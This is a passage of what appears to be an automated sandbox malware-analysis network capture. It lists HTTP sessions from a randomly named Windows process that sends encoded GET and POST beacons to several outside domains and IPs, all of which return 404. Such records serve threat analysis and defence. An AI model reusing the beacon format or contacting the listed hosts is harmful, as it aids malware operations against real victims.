Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.22	49186	46.30.211.38	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:22:06.398662090 CET	543	OUT	GET /an5q/?x4=ht9kvQ/be1JP/b8GmoJbUpka8BxXZHDjKA2fsfIfXx0uGnoFDxCnuQ2Syamf2AV1LytjWJjmrwJ3QA9mKPa/MpeqH9CIj747RQUAZUa71OOzgLnsSxYrvroJ5BNI&e2E=wRQ8oHXx HTTP/1.1 Host: www.bankseedz.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36
Dec 12, 2024 10:22:07.653134108 CET	738	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 09:22:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 564 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.22	49187	77.68.64.45	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:22:13.041235924 CET	2472	OUT	POST /ugyg/ HTTP/1.1 Host: www.dietcoffee.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.dietcoffee.online Referer: http://www.dietcoffee.online/ugyg/ Content-Length: 2159 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 6c 41 78 43 52 68 77 46 54 70 53 2f 4f 70 35 51 52 6d 63 67 7a 54 55 4f 4f 55 58 65 4a 35 51 47 63 58 39 79 4b 2b 2b 4d 71 53 6b 33 44 4d 79 69 2b 2b 35 69 64 7a 71 69 30 68 32 47 70 41 74 77 33 2b 4c 53 77 64 56 70 41 67 4f 6b 70 56 75 30 39 56 7a 78 51 35 6a 53 6c 35 52 4a 4a 55 73 39 49 7a 42 50 43 74 4a 4d 70 77 56 62 52 6c 72 71 78 2b 4a 62 69 6a 74 64 6a 4e 6c 50 62 37 4a 55 4c 6d 35 32 34 71 68 4c 61 34 33 4e 48 47 63 71 68 57 35 4d 64 6b 73 58 65 73 62 30 56 77 57 53 56 70 78 39 6e 51 6b 2f 6b 62 31 56 6b 6a 52 43 49 6b 52 4d 48 73 56 71 6f 30 36 2b 31 57 79 75 6b 4d 57 45 71 52 4d 58 67 49 38 6b 7a 6c 51 45 35 67 49 6a 66 4d 6f 43 37 4c 42 74 53 6b 6e 54 38 59 6d 59 33 52 6c 36 48 4e 57 65 54 61 49 78 76 67 4a 55 63 37 63 69 54 6a 71 71 7a 63 73 49 53 49 4c 6a 64 62 4e 37 47 58 6b 37 2b 2f 45 6a 4e 44 6e 52 4e 4a 55 52 73 6a 45 71 35 68 66 72 2f 55 72 4d 37 71 71 39 59 65 75 61 38 45 52 69 4a 2f 48 71 34 70 52 74 6f 6d 4a 6b 71 47 78 33 6d 58 4f 4d 50 4a 6a 71 38 75 4e 70 31 4b 64 [TRUNCATED] Data Ascii: x4=lAxCRhwFTpS/Op5QRmcgzTUOOUXeJ5QGcX9yK++MqSk3DMyi++5idzqi0h2GpAtw3+LSwdVpAgOkpVu09VzxQ5jSl5RJJUs9IzBPCtJMpwVbRlrqx+JbijtdjNlPb7JULm524qhLa43NHGcqhW5MdksXesb0VwWSVpx9nQk/kb1VkjRCIkRMHsVqo06+1WyukMWEqRMXgI8kzlQE5gIjfMoC7LBtSknT8YmY3Rl6HNWeTaIxvgJUc7ciTjqqzcsISILjdbN7GXk7+/EjNDnRNJURsjEq5hfr/UrM7qq9Yeua8ERiJ/Hq4pRtomJkqGx3mXOMPJjq8uNp1KdF0aMNhbSjxFdbOXxLQzLGBiMmc0DzTrMG/YA6OGbCOLypyxr3/9oZydmh/q3M2jNCY4gK/xFz5OWOKuyy96eZM7qcdNOC+noRiY+kmdX5V3T75T5ySGf5Mo4TUSLHDp/cLU9rKiz3WXCcE8BDYOyhmvxVGbroWI4mFCCWxO9SJbKoBwmmer+dbIW8YtyLIWYe3IV9Y7sM9ZdzTVVvjhH8JF8X9Ippy2tTbodycasn6BZYsbz5A3/xpIIqIRZi7Qn1FUrbUmzLPrirKvXRytXkVkeAvAv1EwQfYWYUvydkg7maS3OQFmlEMcwy9S41lBhEO4YcAMWVsJjuXfpq6SnzkvcrcB6WXLN+XOuviibdBLziCXa428fP738cahprmfYFQO0lYkG0T4LXJUfbNLANKjDsBTvLhWp/g3zoA3iZYTtx6CZ4W6NSCtQOIakfFcYMFJH402Q3HiobZ+yUQR2bS2w2Av2YVYLJ546sIPMTZkJ7Mb7uhKVDYX4PJ/iz9s3ye8eEfCzqkGkiVr379di6CW+hKv8mgI/JoPcZRpZsyDcUSHbORT4CTNQaWeO26hh6bpEyhdTifkrHjGLEVDQ8rPMmL29nNjRFa3GL1cuvViJ7ytNbJSSw7uCMxFCDnhHYL5YadHQo8rXSP/Yom685SXJVUS0oy7b5V [TRUNCATED]
Dec 12, 2024 10:22:13.161119938 CET	309	OUT	Data Raw: 41 74 4b 77 4b 46 34 4d 61 59 67 68 34 6c 42 78 5a 74 6f 68 61 77 4d 46 6c 7a 37 65 6a 6e 62 68 51 67 69 62 38 4b 50 33 4a 53 48 6e 31 5a 59 66 35 6d 37 68 68 71 52 78 58 76 41 38 34 62 31 35 63 74 2b 38 44 36 5a 64 44 34 5a 46 47 2b 43 31 39 37 Data Ascii: AtKwKF4MaYgh4lBxZtohawMFlz7ejnbhQgib8KP3JSHn1ZYf5m7hhqRxXvA84b15ct+8D6ZdD4ZFG+C197amCXhw0go0yZFOtoHC+bmrbBsOLzeV/fVmFsFrIyR/RWqmknRxNm8UN71rOCTAcuHiAVfWd7OXKvhFCMAscMHLqBo4EjMu+NSFsjSvQfwM5urqhsRrtPWi0kBglRfFcASXg7NAwbRNp8gwkbuH5ZIpGWENs6OkE87
Dec 12, 2024 10:22:14.262713909 CET	391	IN	HTTP/1.1 404 Not Found Server: nginx/1.25.3 Date: Thu, 12 Dec 2024 09:22:14 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 62 33 0d 0a 1f 8b 08 00 00 00 00 00 04 03 4d 8e cd 0e 82 30 10 84 ef 7d 8a 95 bb 2c 1a 8e 4d 0f f2 13 49 10 89 29 07 8f 98 56 4a 82 14 69 d1 f0 f6 16 b8 78 9c 9d 99 6f 96 ee e2 6b c4 ef 65 02 67 7e c9 a1 ac 4e 79 16 81 b7 47 cc 12 9e 22 c6 3c de 9c a3 1f 20 26 85 c7 08 55 f6 d5 31 aa 64 2d 9c b0 ad ed 24 0b 83 10 0a 6d 21 d5 53 2f 28 6e 47 42 71 0d d1 87 16 f3 d2 3b b0 bf 8c 53 84 0e 8c 2b 09 a3 7c 4f d2 58 29 a0 ba e5 80 53 33 37 08 df da 40 ef 90 cf 05 09 ba 07 ab 5a 03 46 8e 1f 39 fa 14 07 d7 c6 15 ec 56 96 87 c8 0f f1 1a 79 64 cb 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: b3M0},MI)VJixokeg~NyG"< &U1d-$m!S/(nGBq;S+\|OX)S37@ZF9Vyd0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.22	49188	77.68.64.45	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:22:15.706136942 CET	820	OUT	POST /ugyg/ HTTP/1.1 Host: www.dietcoffee.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.dietcoffee.online Referer: http://www.dietcoffee.online/ugyg/ Content-Length: 199 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 6c 41 78 43 52 68 77 46 54 70 53 2f 4f 71 52 51 51 79 41 67 31 7a 55 4f 50 55 58 65 44 5a 52 44 63 58 78 51 4b 38 53 63 70 6a 73 33 44 39 43 69 2b 4d 42 69 61 7a 72 51 74 52 32 43 30 77 74 6c 33 2b 4b 73 77 5a 56 70 41 67 61 6b 37 6e 6d 30 71 45 79 44 54 4a 6a 51 75 5a 52 64 4a 54 6b 4f 49 7a 64 66 43 73 52 4d 70 79 42 62 44 78 48 71 6a 73 52 62 77 6a 73 33 30 39 6b 4e 62 36 31 46 4c 6d 70 75 34 72 74 4c 61 4b 44 4e 48 58 38 71 79 52 74 4d 58 45 73 57 58 4d 61 36 46 43 58 66 4b 71 4a 4c 73 53 59 35 6a 6f 68 4e 6e 6a 78 6b 46 56 42 41 4e 70 46 42 74 78 54 62 78 45 33 34 2f 41 3d 3d Data Ascii: x4=lAxCRhwFTpS/OqRQQyAg1zUOPUXeDZRDcXxQK8Scpjs3D9Ci+MBiazrQtR2C0wtl3+KswZVpAgak7nm0qEyDTJjQuZRdJTkOIzdfCsRMpyBbDxHqjsRbwjs309kNb61FLmpu4rtLaKDNHX8qyRtMXEsWXMa6FCXfKqJLsSY5johNnjxkFVBANpFBtxTbxE34/A==
Dec 12, 2024 10:22:16.929047108 CET	391	IN	HTTP/1.1 404 Not Found Server: nginx/1.25.3 Date: Thu, 12 Dec 2024 09:22:16 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 62 33 0d 0a 1f 8b 08 00 00 00 00 00 04 03 4d 8e cd 0e 82 30 10 84 ef 7d 8a 95 bb 2c 1a 8e 4d 0f f2 13 49 10 89 29 07 8f 98 56 4a 82 14 69 d1 f0 f6 16 b8 78 9c 9d 99 6f 96 ee e2 6b c4 ef 65 02 67 7e c9 a1 ac 4e 79 16 81 b7 47 cc 12 9e 22 c6 3c de 9c a3 1f 20 26 85 c7 08 55 f6 d5 31 aa 64 2d 9c b0 ad ed 24 0b 83 10 0a 6d 21 d5 53 2f 28 6e 47 42 71 0d d1 87 16 f3 d2 3b b0 bf 8c 53 84 0e 8c 2b 09 a3 7c 4f d2 58 29 a0 ba e5 80 53 33 37 08 df da 40 ef 90 cf 05 09 ba 07 ab 5a 03 46 8e 1f 39 fa 14 07 d7 c6 15 ec 56 96 87 c8 0f f1 1a 79 64 cb 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: b3M0},MI)VJixokeg~NyG"< &U1d-$m!S/(nGBq;S+\|OX)S37@ZF9Vyd0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.22	49189	77.68.64.45	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:22:18.387567043 CET	2472	OUT	POST /ugyg/ HTTP/1.1 Host: www.dietcoffee.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.dietcoffee.online Referer: http://www.dietcoffee.online/ugyg/ Content-Length: 3623 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 6c 41 78 43 52 68 77 46 54 70 53 2f 66 36 68 51 56 54 41 67 77 54 55 4e 42 30 58 65 4a 35 51 45 63 58 39 51 4b 2b 2b 4d 71 57 55 33 44 4b 6d 69 77 4f 35 69 63 7a 72 51 72 52 32 47 70 41 74 2f 33 2f 72 43 77 64 59 57 41 6c 4b 6b 70 52 36 30 39 57 62 78 5a 5a 6a 53 71 5a 51 76 4a 54 6b 66 49 79 74 54 43 74 6b 70 70 79 5a 62 44 6a 76 71 32 73 52 59 73 7a 73 33 30 39 6b 52 62 36 30 67 4c 6d 77 37 34 72 45 51 61 37 7a 4e 48 32 63 71 31 32 35 4e 43 55 73 53 4a 63 62 71 56 77 61 42 56 70 78 35 6e 55 45 5a 6b 62 35 56 69 77 4a 43 49 6e 35 4c 62 4d 56 74 6c 55 36 2b 78 57 79 6f 6b 4d 57 69 71 52 4d 58 67 49 41 6b 79 31 51 45 35 69 67 69 62 4d 6f 43 6b 37 42 61 57 6b 37 68 38 59 6a 37 33 51 56 71 45 36 32 65 42 49 51 78 71 51 4a 55 4d 62 64 49 54 6a 71 33 35 38 74 70 53 49 54 30 64 62 39 52 47 58 6b 37 2b 36 51 6a 63 47 4c 52 45 35 55 52 7a 7a 45 72 7a 42 66 6f 2f 55 75 72 37 71 32 39 59 66 47 61 39 7a 31 69 4c 38 76 74 33 35 52 67 73 6d 4a 69 38 47 78 59 6d 58 53 32 50 4a 61 50 38 74 46 70 31 49 46 [TRUNCATED] Data Ascii: x4=lAxCRhwFTpS/f6hQVTAgwTUNB0XeJ5QEcX9QK++MqWU3DKmiwO5iczrQrR2GpAt/3/rCwdYWAlKkpR609WbxZZjSqZQvJTkfIytTCtkppyZbDjvq2sRYszs309kRb60gLmw74rEQa7zNH2cq125NCUsSJcbqVwaBVpx5nUEZkb5ViwJCIn5LbMVtlU6+xWyokMWiqRMXgIAky1QE5igibMoCk7BaWk7h8Yj73QVqE62eBIQxqQJUMbdITjq358tpSIT0db9RGXk7+6QjcGLRE5URzzErzBfo/Uur7q29YfGa9z1iL8vt35RgsmJi8GxYmXS2PJaP8tFp1IFF27MNgrSgr1dfE39PQ1TkBiIQc3HzVqMG4ec5BWbALLy/kBqI/9s3yYah8erMwX5CSvUJzRF09OWjFOym96jaM/uMdc+C/XoRyqmj5dX2dXSwsD41SGf1MssDUgLHDq3cKGFrKizwAHCWdsFxYOulmvtFGYzoW7wmFAqW8O9SdrKvPQmGerqnbNKKbdWLIwke1Op9Q7sO7Zd2OFVIjhX8JB9a9JxpzUJTYMJyT6sr5BZ9sbz1A3z1pMk6ITti7T/1DVrbYGzGc7ivOvXcytepVnaqvBn1CRwfZnYUuSdqi7maLnPXFlUxMe0i9Tw1i09EF4Yfb8WWuJjtTfov6S3zkvQrcBSWW4V+cfuvuybff7z0L3eI246872I2aitrnOYFAdMkU0G2GIKWNUf/NLABKnmhGnjLhjd/hVLrfHieXzsx3iZYW8t4CskeIN0fFfAMF/b40GQ3HioYZ+yqQR6lS3APAv2YUJLJ5LSsAvMWSEIlIb7whKBlYXQlJ/Oz8+vye8eHSSzpjGkhVrzc9djrCWyhKZ8myqHJos4ZBZZs4jcVE3bTRT5JTI5HWfO28BB6YvZA89ThZkrrqmOEVDMSrNgmKFpnPyRFbHGLqMusaCJU8NxHJSOW7vTJxRmDnSPYJ4YbQXQr4rXQP/Uhm60LSXxjUV4oybb5G [TRUNCATED]
Dec 12, 2024 10:22:18.506958961 CET	1773	OUT	Data Raw: 45 75 4b 77 64 49 59 4e 34 59 67 67 68 6c 41 77 45 74 70 74 61 77 49 52 6c 7a 59 47 6a 6e 37 68 58 69 69 62 70 4b 50 32 65 53 48 76 58 5a 64 58 70 6d 36 78 68 6f 7a 4a 58 6a 54 6b 34 48 31 35 61 74 2b 38 7a 2b 5a 51 7a 34 5a 46 67 2b 43 70 39 37 Data Ascii: EuKwdIYN4YgghlAwEtptawIRlzYGjn7hXiibpKP2eSHvXZdXpm6xhozJXjTk4H15at+8z+ZQz4ZFg+Cp97e6CXi40g40xWVOghnC9RGqfBsOHzf5BfSeFsXTI6CnRXamiuxwBwNoT71nCCRomuyeAUsud+7DKrBF5SQs0MHHOBoomjN+UOgtsjivQVTk+4rqjmxrsPWickB4hReoHAWbg7IUwbhNo7QwiYuGmZIl/WE1O6O0E86
Dec 12, 2024 10:22:19.610274076 CET	391	IN	HTTP/1.1 404 Not Found Server: nginx/1.25.3 Date: Thu, 12 Dec 2024 09:22:19 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 62 33 0d 0a 1f 8b 08 00 00 00 00 00 04 03 4d 8e cd 0e 82 30 10 84 ef 7d 8a 95 bb 2c 1a 8e 4d 0f f2 13 49 10 89 29 07 8f 98 56 4a 82 14 69 d1 f0 f6 16 b8 78 9c 9d 99 6f 96 ee e2 6b c4 ef 65 02 67 7e c9 a1 ac 4e 79 16 81 b7 47 cc 12 9e 22 c6 3c de 9c a3 1f 20 26 85 c7 08 55 f6 d5 31 aa 64 2d 9c b0 ad ed 24 0b 83 10 0a 6d 21 d5 53 2f 28 6e 47 42 71 0d d1 87 16 f3 d2 3b b0 bf 8c 53 84 0e 8c 2b 09 a3 7c 4f d2 58 29 a0 ba e5 80 53 33 37 08 df da 40 ef 90 cf 05 09 ba 07 ab 5a 03 46 8e 1f 39 fa 14 07 d7 c6 15 ec 56 96 87 c8 0f f1 1a 79 64 cb 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: b3M0},MI)VJixokeg~NyG"< &U1d-$m!S/(nGBq;S+\|OX)S37@ZF9Vyd0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.22	49190	77.68.64.45	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:22:21.035830021 CET	546	OUT	GET /ugyg/?x4=oCZiSXk+P+GRfK1BPGYe2jAbGy6NfuRnUXBBKsmFkR5XdaXHzOV8cRyPm0SlplEQyKXzoexQZCmJiHD77mrvft/NmZQ5KxY7IzFSGPZt8SE9dF3swuxanCIPkslF&e2E=wRQ8oHXx HTTP/1.1 Host: www.dietcoffee.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36
Dec 12, 2024 10:22:22.262573004 CET	373	IN	HTTP/1.1 404 Not Found Server: nginx/1.25.3 Date: Thu, 12 Dec 2024 09:22:22 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 203 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 67 79 67 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /ugyg/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.22	49191	146.88.233.115	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:22:27.803133011 CET	2472	OUT	POST /m1g9/ HTTP/1.1 Host: www.smartcongress.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.smartcongress.net Referer: http://www.smartcongress.net/m1g9/ Content-Length: 2159 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 50 73 57 46 5a 6e 73 52 39 31 6e 75 65 6e 48 69 74 69 2b 72 4d 41 62 49 57 74 54 42 78 65 4c 4a 71 70 55 63 48 42 77 4c 44 4d 66 54 67 44 58 52 72 32 39 42 7a 54 74 76 57 70 4f 61 50 43 56 6d 39 59 4a 78 68 45 73 4a 56 52 2f 4a 2f 55 56 4a 4a 4a 46 76 48 35 33 4a 44 34 37 6d 78 59 38 59 72 46 75 47 4b 58 61 57 47 70 6b 6f 76 51 4c 4e 6f 49 71 74 42 47 67 71 36 56 6e 65 56 48 43 6f 39 41 6b 70 56 4d 6e 4e 32 5a 5a 72 68 2f 37 77 77 2f 66 46 53 58 76 4f 4f 55 63 74 58 59 66 61 4a 31 57 48 54 78 68 30 59 41 76 70 64 39 51 73 42 6f 5a 73 52 61 45 79 74 50 66 4e 58 42 68 52 79 42 38 70 6e 77 50 38 63 34 68 65 53 31 2f 31 61 6b 72 6e 46 46 7a 45 67 4f 4c 63 41 4c 72 42 5a 57 62 71 2b 61 4d 62 6e 32 37 33 65 77 6b 36 5a 54 62 71 71 53 69 33 38 36 62 32 31 32 34 43 71 65 79 43 33 42 36 39 37 70 57 59 38 2f 4c 54 6a 55 30 5a 6c 64 71 33 69 70 6d 59 4b 67 6f 4c 6a 72 37 46 66 58 39 70 6b 41 45 34 33 67 57 73 36 71 75 55 32 62 6c 63 4a 6f 77 5a 37 4b 52 4e 77 70 64 61 63 51 35 42 64 38 4c 63 36 4d 4a [TRUNCATED] Data Ascii: x4=PsWFZnsR91nuenHiti+rMAbIWtTBxeLJqpUcHBwLDMfTgDXRr29BzTtvWpOaPCVm9YJxhEsJVR/J/UVJJJFvH53JD47mxY8YrFuGKXaWGpkovQLNoIqtBGgq6VneVHCo9AkpVMnN2ZZrh/7ww/fFSXvOOUctXYfaJ1WHTxh0YAvpd9QsBoZsRaEytPfNXBhRyB8pnwP8c4heS1/1akrnFFzEgOLcALrBZWbq+aMbn273ewk6ZTbqqSi386b2124CqeyC3B697pWY8/LTjU0Zldq3ipmYKgoLjr7FfX9pkAE43gWs6quU2blcJowZ7KRNwpdacQ5Bd8Lc6MJKFulxppwwwMU0Q9o/DJFApzU6WT0ayXbmi7f/nYNJKiyPwLIHibQITuko2JOGL6Ek6abHJrieTHqcrtyjKYXhU67Urlcwsy+pOJ3fdoQWNLjo/C7atb2m/0QPKqS+4Ug1zGukVHetfrsTQmhJYt4wnJmy4dMWeNNYyy5B+q8TvAN6iBJPP2Xw2IknpJ44BPla6bqIEmwxwpOtfNJIEomLD/WNzJ+R206djGld7Xftcito6mbHaembNawVZ2Jkwobshp9vfzSwtRXEw8CGS31armrBJycSre/vmGmQHuQqI8lIPdbOEjcwnofQboIIeu6sFycrJy5UUdiS/M/HNA00DWT8QkjwRuLUDhK2z7pMqTEKbsMRyiBOv6yKY4FWOq2ZAdik4AMvIYJ7A1QWOJF2dKdMH0VOOOc9TJcjweCB7QwsfAAE01CdfaxrDnCCMk8YeY4tU96YYBHVP7YEMtfcBh1Xa+OKJQuB53pQ0Tm0C++oXSRW6cRegjg3ZhBYV8BsnlI147E6DaGcXpELavnTMQnG4mW4zIPeazlUAPUvP42Fu/FAsYPiWfJN5IGPx5zZEvwehWgJiKYW0FFObXTkJ7QvL0W/ZK14hrsjlBQ07KsaLwJhBgoCsT3kM1LMHXHUJKxACHTsJK+HgIFjAGt8PiVNoE+HiKKmt [TRUNCATED]
Dec 12, 2024 10:22:27.923190117 CET	309	OUT	Data Raw: 41 78 2f 34 6d 77 32 31 6f 76 74 6e 51 63 57 37 74 61 57 70 79 66 51 4a 6b 69 77 36 32 37 48 78 51 62 51 6b 76 69 35 6f 39 4e 72 78 45 32 59 50 6d 64 6e 37 72 37 6c 4f 74 4b 55 4b 2f 34 72 48 33 34 75 31 45 76 36 6a 6e 35 38 4b 63 49 6d 71 79 58 Data Ascii: Ax/4mw21ovtnQcW7taWpyfQJkiw627HxQbQkvi5o9NrxE2YPmdn7r7lOtKUK/4rH34u1Ev6jn58KcImqyXkdEQ0zqRM1FKV5iItFv2+/gtLqKF8YAZOkcfwR1ZYAvFkhE76DcpZl9KaV3pu9bWO1UIjbllMWBJMkxu14WobO/fxmurioTGCxCQsWyFvybHXFwA/MHJAA6TXbyiIXUrPKyJ355iq2DCNdode9qwNOjWiU6qQ/KO/
Dec 12, 2024 10:22:29.374142885 CET	380	IN	HTTP/1.1 404 Not Found content-type: text/html; charset=iso-8859-1 content-length: 196 date: Thu, 12 Dec 2024 09:22:29 GMT server: LiteSpeed x-tuned-by: N0C connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC 